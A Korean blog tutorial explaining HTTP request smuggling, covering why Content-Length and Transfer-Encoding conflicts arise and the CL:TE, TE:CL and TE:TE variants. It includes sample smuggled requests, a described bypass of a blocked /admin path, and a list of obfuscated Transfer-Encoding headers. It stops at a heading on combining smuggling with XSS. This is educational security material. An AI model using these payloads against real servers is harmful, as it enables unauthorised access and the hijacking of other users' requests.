ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

๊ฐœ์š”

HTTP Request Smuggling์€ Watchfire์— ์˜ํ•ด 2005๋…„์— ์ฒ˜์Œ ๋“ฑ์žฅํ•˜์—ฌ ์ˆ˜๋ฉด ์†์— ์ˆจ์–ด ์žˆ๋‹ค๊ฐ€ 2019๋…„ DEFCON๊ณผ BlackHat์—์„œ ํ•ด๋‹น ์ทจ์•ฝ์ ์˜ ์„ ์ด์šฉํ•œ ์ƒˆ๋กœ์šด ๋ฒกํ„ฐ์™€ ์œ„ํ—˜๋„๋ฅผ ๊ฒ€์ฆํ•˜๋ฉด์„œ ์ธ์ง€๋„๊ฐ€ ๋†’์•„์ง„ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

 

ํ•ด๋‹น ์ทจ์•ฝ์ ์ด ์ด์Šˆ๊ฐ€ ๋˜๋Š” ํ•ด์ธ 2019๋…„์— PAYPAL ๊ธฐ์—…์—์„œ๋Š” ํ•ด๋‹น ์ทจ์•ฝ์ ์— ๋…ธ์ถœ๋œ๊ฒƒ์„ ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ”„๋กœ๊ทธ๋žจ์„ ํ†ตํ•ด ์ œ๋ณด๋ฐ›์•˜๊ณ  ํฌ์ƒ๊ธˆ์œผ๋กœ ์ด 20.000 ๋‹ฌ๋Ÿฌ๋ฅผ ์ง€๊ธ‰ํ•œ ์‚ฌ๋ก€๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

 

Http Request Smuggling์€ ํ”„๋ก ํŠธ ์™€ ๋ฐฑ์—”๋“œ๊ฐ€ Http ์š”์ฒญ์˜ ๊ฒฝ๊ณ„๋ฅผ ๋‹ค๋ฅด๊ฒŒ ํ•ด์„ํ•˜๊ณ  RFC7230์„ ๋”ฐ๋ฅด์ง€ ์•Š๋Š” ๋‹ค์–‘ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ํ”„๋ก ํŠธ์˜ ์—ญํ• ์€ LB(Load Balancer) ๋‚˜ RP(Reverse Proxy), CDN(Content Delivery Network)๊ฐ€ ๋˜๋ฉฐ ์ด๋“ค์€ ๋‹ค์–‘ํ•œ ์‚ฌ์šฉ์ž๋“ค์˜ ์š”์ฒญ์„ ๋ฐ›์•„ ์ „๋‹ฌ ๋ฐ ๋ถ„๋ฐฐ๋ฅผ ํ•ด์ฃผ๋Š” ๊ณผ์ •์—์„œ Back-end๊ฐ€ chunked ๋˜๋Š” Content-Length๋ฅผ ๋งŒ๋‚˜๋ฉด ์ง€์ •๋œ ๋ฐ์ดํ„ฐ๋งŒํผ๋งŒ ์ฒ˜๋ฆฌํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ํŒจํ‚ท์€ ๋ฒ„ํผ์— ์ž ์‹œ ๋‚จ๊ฒŒ ๋˜๋Š”๋ฐ ์ด๊ฒƒ์€ ํƒ€ ์‚ฌ์šฉ์ž๋“ค์˜ ์ •์ƒ์ ์ธ ์š”์ฒญ์˜ ํ๋ฆ„์„ ๋ฐฉํ•ดํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•˜๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

portswigger/Http Request Smuggling

์œ„์˜ ์‚ฌ์ง„์ฒ˜๋Ÿผ ๊ณต๊ฒฉ์ž์™€ ํƒ€์‚ฌ์šฉ์ž๋“ค ๊ฐ„์— ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•˜๋Š” ๊ณผ์ •์—์„œ ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๋Š” ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์ž์‹ ์˜ ์š”์ฒญ ์ด์™ธ์— ์ถ”๊ฐ€์ ์ธ ์š”์ฒญ ํ–‰์œ„๋ฅผ ๋ฐฑ์—”๋“œ ๋ฒ„ํผ ์ž ์‹œ ๊ธฐ๋‹ค๋ฆฌ๋„๋ก ๋Œ€๊ธฐ์‹œํ‚ค๊ณ  ํƒ€ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ ์•ž๋‹จ์— ํ•จ๊ป˜ ๋ฌถ์—ฌ ์ฒ˜๋ฆฌ๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ์ด์œ 

http์š”์ฒญ์ด ๋๋‚˜๋Š” ์œ„์น˜๋ฅผ ์ง€์ •ํ•ด์ฃผ๋Š” ๋ฐฉ๋ฒ•์ธ Content-Length ํ—ค๋”์™€ Transfer-Encoding ํ—ค๋”๋ฅผ ๋ชจ๋‘ ์ œ๊ณตํ•˜๊ธฐ์— ์ฃผ๋กœ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋Œ€๋ถ€๋ถ„์˜ ์„œ๋น„์Šค์—์„œ๋Š” 2๊ฐ€์ง€์˜ ํ—ค๋”๋ฅผ ๋ชจ๋‘ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”๋ฐ ์™œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š๋ƒ์ธ๋ฐ..

RFC 2616์— ๋”ฐ๋ฅด๋ฉด Transfer-Encoding ํ—ค๋” ํ•„๋“œ์™€ Content-Length ํ—ค๋” ํ•„๋“œ๊ฐ€ ๋ชจ๋‘์žˆ๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ์ˆ˜์‹ ๋˜๋ฉด ํ›„์ž์ธ Content-Length๋Š” ๋ฌด์‹œ๋˜๊ณ  ์ด๋ฅผ Transfer-Encoding์ด ์ด๋ฅผ ๋Œ€์ฒดํ•ด์•ผ ๋จ

์ฆ‰ ์š”์ฒญ ํ—ค๋”์— 2๊ฐ€์ง€์˜ ํ—ค๋”๊ฐ€ ๋ชจ๋‘ ํฌํ•จ์ด ๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ Content-Length๋Š” ๋ฌด์‹œํ•ด์•ผ ๋œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

Content-Length: ์‘๋‹ต ๋ฉ”์‹œ์ง€์˜ Body ๊ธธ์ด๋‚˜ ํŠน์ • ์ง€์ •๋œ ๊ฐœ์ฒด์˜ ๊ธธ์ด๋ฅผ ํ•œ ๋ฒˆ์— ๋ณด๋ƒ„
Transfer-Encoding: ๋™์ ์œผ๋กœ ์ƒ์„ฑ๋˜๋Š” ์‘๋‹ต ํ—ค๋”๋กœ chunked ์ „์†ก ๋ฐฉ์‹์„ ํ†ตํ•ด ์กฐ๊ฐ์กฐ๊ฐ ๋‚˜๋‰˜์–ด ์ฒ˜๋ฆฌํ•จ(์ฒ˜๋ฆฌ ์ข…๋ฃŒ๋Š” 0์ด ๊ธฐ์ )

Content-Length์™€ Transfer-Encoding์˜ ์กด์žฌ ์ด์œ 

<Content-Length ํ—ค๋”>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

์›น ์„œ๋ฒ„๊ฐ€ ์ „๋‹ฌํ•ด์ฃผ๋Š” ์ฝ˜ํ…์ธ ์˜ ์‹œ์ž‘๊ณผ ๋์„ ์•Œ์•„์•ผ ์š”์ฒญ์— ๋Œ€ํ•œ ์ฒ˜๋ฆฌ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ๋˜๋Š”๋ฐ ๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด Content-Length ํ—ค๋”์— ์ „๋‹ฌํ•˜๊ณ ์ž ํ•˜๋Š” ์ปจํ…์ธ ์˜ ์‚ฌ์ด์ฆˆ๋ฅผ ํ‘œ์‹œํ•ด์ฃผ๋ฉด ์›น ์„œ๋ฒ„์—์Šค๋Š” ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ๋ฐ›์€ ์ปจํ…์ธ  ์‚ฌ์ด์ฆˆ๋ฅผ ๋จผ์ € ๊ณ„์‚ฐํ•˜์—ฌ ์‘๋‹ตํ•ด์ค„ ๋•Œ ์ „์ฒด ์‚ฌ์ด์ฆˆ์™€ ํ•จ๊ป˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ „๋‹ฌํ•ด์ค€๋‹ค. ๋งŒ์•ฝ Content-Length ๊ฐ’์ด "3" ์ด๋ฉด 3 Bytes ๋งŒํผ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. 

<Transfer-Encoding ํ—ค๋”>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

๋งŒ์•ฝ ์ฝ˜ํ…์ธ  ์‚ฌ์ด์ฆˆ๊ฐ€ ํฌ๋ฉด ์ง€์—ฐ์ด ๊ฑธ๋ฆด ํ…๋ฐ ๊ทธ๋Ÿผ ์–ด๋–กํ•˜๋Š”๊ฐ€?? ๋ฐ”๋กœ "Chunked" ์ „์†ก ๋ฐฉ์‹์„ ํ†ตํ•ด ์ „์ฒด ๋ฐ์ดํ„ฐ๋ฅผ ํ•œ ๋ฒˆ์— ์•Œ๋ ค์ฃผ์ง€ ์•Š๊ณ  ์กฐ๊ธˆ์”ฉ ์กฐ๊ธˆ์”ฉ ์•Œ๋ ค์ค˜ ๋ถ€ํ•˜๊ฐ€ ๊ฑธ๋ฆฌ์ง€ ์•Š๋„๋ก ์œ ๋™์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•ด์ฃผ๋Š” ๋ฐฉ์‹์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

"Chunked" ๋ฐฉ์‹์—๋Š” Content-Length ํ—ค๋”๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๊ณ  ๋Œ€์‹  "Transfer-Encoding: Chuncked"๋ผ๋Š” ํ—ค๋”๊ฐ€ ๋ถ™์Šต๋‹ˆ๋‹ค.(0์€ ์ข…๋ฃŒ๋ฅผ ์˜๋ฏธ)

 

Content-Length์™€ Transfer-Encoding์˜ ์ฒ˜๋ฆฌ๋ฐฉ์‹ ๋ฐ ์ข…๋ฅ˜

ํ”„๋ก ํŠธ ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ ์ชฝ ์„œ๋ฒ„๊ฐ€ ์ฒ˜๋ฆฌํ•˜๋Š” ํ—ค๋”์˜ ์šฐ์„ ์ˆœ์œ„์— ๋”ฐ๋ผ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ด ์กฐ๊ธˆ์”ฉ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. ๋งŒ์•ฝ Content-Length๋ฅผ ํ”„๋ก ํŠธ์—์„œ ์šฐ์„ ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๊ณ  ๋ฐฑ์—”๋“œ์—์„œ Transfer-Encoding์„ ์šฐ์„ ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•  ๊ฒฝ์šฐ CL-TE๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

CL:TE : ํ”„๋ก ํŠธ ์—”๋“œ ์š”์ฒญ(Content-Length) <-> ๋ฐฑ ์—”๋“œ ์‘๋‹ต(Transfer-Encoding)
TE:CL : ํ”„๋ก ํŠธ ์—”๋“œ ์š”์ฒญ(Transfer-Encoding) <-> ๋ฐฑ ์—”๋“œ ์‘๋‹ต(Content-Length)
TE:TE : ํ”„๋ก ํŠธ ์—”๋“œ์™€ ๋ฐฑ ์—”๋“œ ๋ชจ๋‘ Transfer-Encoding ์ง€์›

์œ„์—์„œ๋„ ์„ค๋ช…๋“œ๋ ธ์ง€๋งŒ ๋‘ ํ—ค๋”๊ฐ€ ์š”์ฒญ ํŒจํ‚ท์— ๋ชจ๋‘ ํฌํ•จ๋  ๊ฒฝ์šฐ ๊ธฐ์กด ์ •์ƒ ์š”์ฒญ๊ณผ ์ถ”๊ฐ€์ ์ธ ์š”์ฒญ์„ ๋ง๋ถ™์—ฌ ์ „์†กํ•˜์—ฌ ์„œ๋ฒ„์— ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ํ”„๋ŸฐํŠธ ์—”๋“œ ๋ฐ ๋ฐฑ ์—”๋“œ ์„œ๋ฒ„๊ฐ€ ์ฒด์ธ์—์„œ ๊ฐ ์š”์ฒญ์˜ ์‹œ์ž‘๊ณผ ๋์„ ๊ฒฐ์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

 

์•…์˜์ ์ธ HTTP ์š”์ฒญ์˜ ๋์ด ์ž˜๋ชป ๊ณ„์‚ฐ๋˜์–ด ํ•˜๋‚˜์˜ ์„œ๋ฒ„์—์„œ ์•…์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š๊ณ  ์ฒด์ธ์˜ ๋‹ค์Œ ์ธ๋ฐ”์šด๋“œ ์š”์ฒญ ์‹œ์ž‘ ๋ถ€๋ถ„์— ์ถ”๊ฐ€๋˜์–ด ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

 

CL:TE ์ทจ์•ฝ์ 

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 24
Transfer-Encoding: chunked

0 -> processing
smuggling -> Back-End Stanby

Content Length๋ฅผ ํ†ตํ•ด ํ”„๋ก ํŠธ ์ชฝ ์„œ๋ฒ„์—์„œ๋Š” ๋ณธ๋ฌธ์˜ ๊ธธ์ด๊ฐ€ 24 ๋ฐ”์ดํŠธ์ธ ๊ฒƒ์ฒ˜๋Ÿผ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ฐฑ์—”๋“œ ์ชฝ์—์„œ๋Š” Transfer-Encoding์— ๋ถ€์—ฌ๋œ chunked๋ฅผ ํ™•์ธํ•˜๊ณ  ์กฐ๊ฐ์กฐ๊ฐ ์ฒ˜๋ฆฌํ•˜๋Š” ์ค‘ "0"์„ ๋งŒ๋‚˜ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ๋ฅผ ์ข…๋ฃŒํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ "0"์ดํ›„๋กœ ํ‘œ์‹œ๋œ smuggling ๋ฉ”์‹œ์ง€๋Š” ์ฒ˜๋ฆฌ๋˜์ง€ ๋ชปํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐฑ์—”๋“œ ๋ฒ„ํผ์— ์ž ์‹œ ๊ธฐ๋ก๋œ ์ฑ„ ๋‹ค์Œ ์š”์ฒญ์˜ ์•ž์— ํฌํ•จ๋˜์–ด ์ „์†ก๋  ๋•Œ๊นŒ์ง€ ๋Œ€๊ธฐํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

๊ธฐ์กด ์ •์ƒ์ ์ธ ์š”์ฒญ์„ ์กฐ์ž‘ํ•˜์—ฌ ์ž„์˜ ๊ฐ’์ด ๋ฒ„ํผ์— ๊ธฐ๋ก๋œ ์ฑ„๋กœ ๋‚จ๊ฒจ๋‘๊ณ  ๋‹ค์Œ ์š”์ฒญ์— ์ฒ˜๋ฆฌํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Content-Length์— ๋ถ€์—ฌ๋œ ๊ฐ’์„ ํ†ตํ•ด ๋ณธ๋ฌธ ์ „์ฒด ๊ฐ’์„ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์ฒซ ๋ฒˆ์งธ ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์š”์ฒญ ํ—ค๋”์— ํฌํ•จ๋œ Transfer-Encoding์˜ chunked๋กœ ์ธํ•ด ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ๋Š” "0"๊นŒ์ง€๋ฐ–์— ๋ชปํ•˜๊ฒŒ ๋˜์–ด ํ•˜์œ„์˜ "smuggling"์€ ์ฒ˜๋ฆฌ๋˜์ง€ ๋ชปํ•˜๊ณ  ๋‚จ์•„์žˆ๊ฒŒ ๋˜์–ด ๋‹ค์Œ ์š”์ฒญ ๋•Œ ํ•จ๊ป˜ ํฌํ•จ๋˜์–ด "POST๊ฐ€ ์•„๋‹Œ -> SMUGGLINGPOST"๋กœ ์ฒ˜๋ฆฌ๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

๋งŒ์•ฝ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€๋กœ ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ /admin ๊ฒฝ๋กœ๊ฐ€ ์ฐจ๋‹จ๋˜์–ด ์žˆ๋‹ค๋ฉด Smuggling ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์š”์ฒญํ•˜๋Š” Host ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฒ€์ฆํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€์œผ๋ฏ€๋กœ ํ•˜๋‹จ์— ์ถ”๊ฐ€ ์š”์ฒญ์„ ๋ง๋ถ™์—ฌ ์ ‘๊ทผํ•˜๋„๋ก ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET ๋ฐฉ์‹์— "x="์ด๋ผ๋Š” ๊ฐ’์„ Body์— ๋„ฃ์–ด์ค€ ์ด์œ ๋Š” "Content-Type" ์†์„ฑ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ๊ฐ’์€ HTTP ์š”์ฒญ์˜ ๋ฉ”์‹œ์ง€๋ฅผ POST๋ฐฉ์‹ ์ฆ‰ ๋ณธ๋ฌธ์˜ Body์— ํฌํ•จํ•˜์—ฌ ๋ณด๋‚ด๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

 

* ์ถ”๊ฐ€ ์š”์ฒญ์ด ์•„๋‹Œ ๊ธฐ์กด ์š”์ฒญ๋งŒ ๋ณด๋‚ผ ๊ฒฝ์šฐ ๋”ฐ๋กœ ๊ธฐ์ž…ํ•˜์ง€ ์•Š์•„๋„ ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ๋””ํดํŠธ๋กœ "application/x-www-form-urlencoded" ์†์„ฑ ๊ฐ’์„ ๋„ฃ์–ด์„œ ๋ณด๋‚ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ์ถ”๊ฐ€์ ์œผ๋กœ ์•ˆ ๋„ฃ์–ด์ค˜๋„ ๋˜์ง€๋งŒ ์œ„์ฒ˜๋Ÿผ ์ถ”๊ฐ€ ๋ณธ๋ฌธ์„ ๋ง๋ถ™์—ฌ์ค„ ๊ฒƒ์ด๋ผ๋ฉด Content-Type์„ ์ง€์ •ํ•˜์—ฌ ๊ทœ์•ฝ์„ ์ง€์ผœ์ฃผ์…”์•ผ ๋ฉ๋‹ˆ๋‹ค. 

 

TE:CL ์ทจ์•ฝ์ 

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 3
Transfer-Encoding: chunked

5 -> processing
smuggling -> Back-End Stanby
0 -> processing

ํ”„๋ก ํŠธ์—์„œ๋Š” Transfer-Encoding์— ๋ถ€์—ฌ๋œ chunked์„ ํ†ตํ•ด 0\r\n ๊ธฐ์ค€์œผ๋กœ ์กฐ๊ฐ๋‚ด์–ด ์ฒ˜๋ฆฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์šฐ์„  ์ „์ฒด ๋ณธ๋ฌธ ๋‚ด์šฉ์„ ๋ฐฑ์—”๋“œ ์ชฝ์œผ๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ฐฑ์—”๋“œ์—์„œ๋Š” Content-Length๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ถ€์—ฌ๋œ "3" ๋ฐ”์ดํŠธ์˜ ํฌ๊ธฐ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ 3๊ฐœ์˜ ๊ฐœํ–‰ ๋ฌธ์ž์ธ 5\r\n ๊นŒ์ง€๋งŒ ์ฒ˜๋ฆฌํ•˜๊ณ  ์ค‘๊ฐ„์— smuggling์€ ๋ฒ„ํผ์— ์ž ์‹œ ๋™์•ˆ ๋Œ€๊ธฐํ•˜์—ฌ ๋‹ค์Œ์ฒญ์— ํฌํ•จํ•˜์—ฌ ์ „์†ก๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

TE:CL ์ทจ์•ฝ์ ์„ ์›ํ™œํ•˜๊ฒŒ ์ง„ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„  ์ž๋™์œผ๋กœ ๊ณ„์‚ฐ๋˜์–ด ํ• ๋‹น๋˜๋Š” Update Content-Length ์„ค์ •์„ ๋น„ํ™œ์„ฑํ™”ํ•ด์ฃผ์…”์•ผ ์›ํ™œํ•˜๊ฒŒ ํ…Œ์ŠคํŠธ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์•ˆ ๊ทธ๋Ÿฌ๋ฉด ๋ณธ๋ฌธ์— ์ถ”๊ฐ€๋œ ๋ฐ์ดํ„ฐ์˜ ๊ธธ์ด ๋ชจ๋‘๋ฅผ ์ž๋™์œผ๋กœ ๊ณ„์‚ฐํ•˜์—ฌ ํ• ๋‹นํ•˜๊ธฐ ๋•Œ๋ฌธ์— Smuggling์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

 

ํ”„๋ก ํŠธ์—์„œ๋Š” TE ๋จผ์ € ์šฐ์„  ์ฒ˜๋ฆฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ข…๋ฃŒ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” "0"์„ ์ œ์ผ ํ•˜๋‹จ์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ์šฐ์„ ์ ์œผ๋กœ ์ „์ฒด ๋ณธ๋ฌธ์ด ๋„˜์–ด๊ฐ€๋„๋ก ํ•ด์ค๋‹ˆ๋‹ค. ๊ทธ ํ›„ ๋ฐฑ์—”๋“œ์—์„œ๋Š” CL์„ ์šฐ์„  ์ฒ˜๋ฆฌํ•˜๋ฏ€๋กœ ๋ถ€์—ฌ๋œ "3 Bytes" ๊ฐ’๋งŒํผ๋งŒ ๊ณ„์‚ฐํ•˜๊ฒŒ ๋˜์–ด 5\r\n ๊นŒ์ง€๋งŒ ์ฒ˜๋ฆฌ๋˜๊ณ  SPOST๋Š” ๋ฐฑ์—”๋“œ์— ๋Œ€๊ธฐํ•˜๊ฒŒ ๋˜์–ด ๊ทธ๋‹ค์Œ ์š”์ฒญ์— ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

 

๋ณธ๋ฌธ์— ์ƒˆ๋กœ์šด ์š”์ฒญ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ์ „์†กํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” Content-Length์— ๋ถ€์—ฌ๋œ ๊ฐ’์œผ๋กœ ์ธํ•ด ๋ฐฑ์—”๋“œ์—์„œ ์ฒ˜๋ฆฌํ•˜๋ฏ€๋กœ ๋”ฑ ์ฒ˜๋ฆฌ๋˜๋Š” ๋งŒํผ์˜ ๋ฐ์ดํ„ฐ๋งŒ ๋‚จ๊ฒจ์ฃผ์‹œ๊ณ  ๋‚˜๋จธ์ง„ ๋‹ค์Œ ์š”์ฒญ์— ์ฒ˜๋ฆฌ๋˜๋„๋ก ์ž‘์„ฑํ•ด์ฃผ์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

๋‹จ Content-Length ๊ฐ’์ด "10"์ธ๋ฐ Body์˜ ๋‚ด์šฉ์ด 3 Bytes ์ •๋„๋ฐ–์— ์—†๋‹ค๋ฉด ์„œ๋ฒ„ ์ธก์—์„œ๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๋œ ๋“ค์–ด์˜จ ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ•˜์—ฌ ๊ธฐ๋‹ค๋ฆฌ๋‹ค๊ฐ€ Timeout์„ ์„ ์‚ฌํ•ด์ค๋‹ˆ๋‹ค.

 

CL:TE์—์„œ ํ™•์ธํ–ˆ๋˜ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€ ์ ‘๊ทผ์€ TE:CL์—์„œ๋Š” ์œ„์ฒ˜๋Ÿผ ์š”์ฒญํ•˜์—ฌ ๋ฌด๋‹จ ์•ก์„ธ์Šค ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 0\r\n์„ ๊ธฐ์ ์œผ๋กœ ๋ณธ๋ฌธ ์ „์ฒด ๋‚ด์šฉ์„ ์ „๋‹ฌํ•˜์ง€๋งŒ ๋ฐฑ์—”๋“œ์—์„œ๋Š” Content-Length์—์„œ ๋ถ€์—ฌ๋œ 4 Bytes ๋กœ์ธํ•ด 71\r\n ๊นŒ์ง€๋งŒ ์ฒ˜๋ฆฌํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ๋‹ค์Œ ์š”์ฒญ์— ๋‚จ์•„ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค.

 

TE:TE ์ทจ์•ฝ์ 

<Transfer-Encoding ํ˜ผ๋ˆํ™”>
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

ํ”„๋ก ํŠธ์™€ ๋ฐฑ์—”๋“œ ๋ชจ๋‘ Transfer-Encoding ํ—ค๋”์˜ ์šฐ์„ ์ˆœ์œ„๋ฅผ ์ง€์ •ํ•˜์—ฌ ์ฒ˜๋ฆฌํ•  ๊ฒฝ์šฐ ์š”์ฒญ ํ—ค๋”์— 2๊ฐœ์˜ Transfer-Encoding์„ ์‚ฝ์ž…ํ•˜์—ฌ smugglingํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋•Œ ๊ฐœํ–‰๋ฌธ์ž๋‚˜ ์ž˜๋ชป๋œ ๊ฐ’์„ ๋„ฃ์–ด ํ”„๋ก ํŠธ๋ž‘ ๋ฐฑ์—”๋“œ ๋‘˜์ค‘ ํ•˜๋‚˜๊ฐ€ ์ด๋ฅผ ๋ฌด์‹œํ•˜๋„๋ก ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํ”„๋ก ํŠธ ๋‹จ์—์„œ๋งŒ Trasnfer-Encoding์„ ์ฒ˜๋ฆฌํ•˜๊ฑฐ๋‚˜ ๊ทธ ๋ฐ˜๋Œ€์ธ ๋ฐฑ์—”๋“œ์—์„œ๋งŒ ์ฒ˜๋ฆฌํ•ด๋„ ๋ฐœ์ƒ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— CL:TE ๋˜๋Š” TE:CL ๊ณผ ์œ ์‚ฌํ•˜๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์œ„์ฒ˜๋Ÿผ 2๊ฐœ์˜ Transfer-Encoding์„ ์ด์šฉํ•˜๋˜ ํ•˜๋‚˜๋Š” ์ •์ƒ ํ—ค๋” ๋‚˜๋จธ์ง€๋Š” ๋น„์ •์ƒ์ ์ธ ํ—ค๋” ๊ฐ’์„ ์‚ฌ์šฉํ•˜์—ฌ 1๊ฐœ๋งŒ ์ฒ˜๋ฆฌ๋˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ฒƒ ์ž…๋‹ˆ๋‹ค.

 

์ด๊ฒƒ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ Content-Length์— ์ฒ˜๋ฆฌํ•  ๊ฐ’๋งŒ ์ง€์ •์‹œ์ผœ์„œ 5c\r\n ๊นŒ์ง€๋งŒ ์ฒ˜๋ฆฌ๋˜๋„๋ก ์œ ๋„ํ•˜๋ฉด ๋‚˜๋จธ์ง€ ์ถ”๊ฐ€๋œ ๊ฐ’์€ ๋ฒ„ํผ์— ๊ธฐ๋ก๋˜์–ด ๋‹ค์Œ ์š”์ฒญ๊ณผ ํ•จ๊ป˜ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

 

HTTP Request Smuggling + XSS ๊ณต๊ฒฉ

